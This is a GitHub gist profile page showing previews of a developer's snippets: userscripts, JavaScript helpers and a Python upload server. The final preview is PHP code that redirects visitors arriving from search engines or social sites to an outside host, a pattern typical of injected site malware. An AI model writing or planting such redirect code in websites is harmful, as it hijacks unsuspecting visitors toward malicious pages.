Skip to content

Instantly share code, notes, and snippets.

View gwokae's full-sized avatar

Leonard Lin gwokae

View GitHub Profile
// ==UserScript==
// @name 監理服務網 網路選號小助手
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author @gwokae
// @match https://www.mvdis.gov.tw/m3-emv-plate/webpickno/queryPickNo*
// @icon https://www.google.com/s2/favicons?sz=64&domain=gov.tw
// @grant none
// ==/UserScript==
@gwokae
gwokae / 0_bootstrap.md
Last active September 5, 2021 06:33 — forked from tobiassjosten/prompt.sh
to quickly init my ubuntu dev environment

to boostrap my dev environment :D

// ==UserScript==
// @name reactjs.org switch languages
// @version 0.1
// @description keep the browseing path when switch language on reactjs.org
// @author Leonard Lin <https://github.com/gwokae>+
// @updateURL https://gist.github.com/gwokae/77a896865deea912591092167ae3cb00/raw/reactjs.org.switch.lang.user.js
// @match https://*.reactjs.org/*
// @grant none
// ==/UserScript==
Array.prototype.sample = function(count = 1){
let {length} = this;
if( count > length ){
count = length;
}
return this.map( (item, idx) => {
return {item, rnd: Math.random()};
})
.sort( (a, b) => a.rnd - b.rnd )
.slice( length - count )
#!/usr/bin/env python
"""Simple HTTP Server With Upload.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
CURL upload command:
`curl -X POST -F file=@<path-to-file> http://<host-ip>:8000`
@gwokae
gwokae / gist:5655095
Created May 27, 2013 03:48
Polling, which style you preferred ?
// type 1
function(foo){
var bar = foo || global.defaultObject;
if(bar) bar.exec();
}
// type 2
function(foo){
(foo || global.defaultObject) && (foo || global.defaultObject).exec();
}
// ==UserScript==
// @name getWin
// @namespace my.util
// @include http://kunghc.pixnet.net/blog/post/30967503
// @version 1
// ==/UserScript==
function createCookie(name,value,days) {
@gwokae
gwokae / gist:3760251
Created September 21, 2012 07:52
backbone extend problem
var superView = Backbone.View.extend({
initialize: function(){
if(this.val2) this.op.c = this.val2;
console.log(this.op);
},
op: {a:"B"},
m1: function(){},
m2: function(){},
events1: {
"click div":"m1"
@gwokae
gwokae / JavascriptModulePattern.js
Created March 1, 2012 04:09
A simple Javascript Module Pattern
var myObject = (function(){
var _private = {
someVar: "This is private",
privateFunction = function(){ /* do-something*/ };
}
return {
publicVar : "This is public",
publicFunction : function(){
/*do-something*/
},
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"msn") or stristr($referer,"bing") or stristr($referer,"ask") or stristr($referer,"youtube") or stristr($referer,"facebook") ) {
if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bbpliops.345.pl/");
exit();
}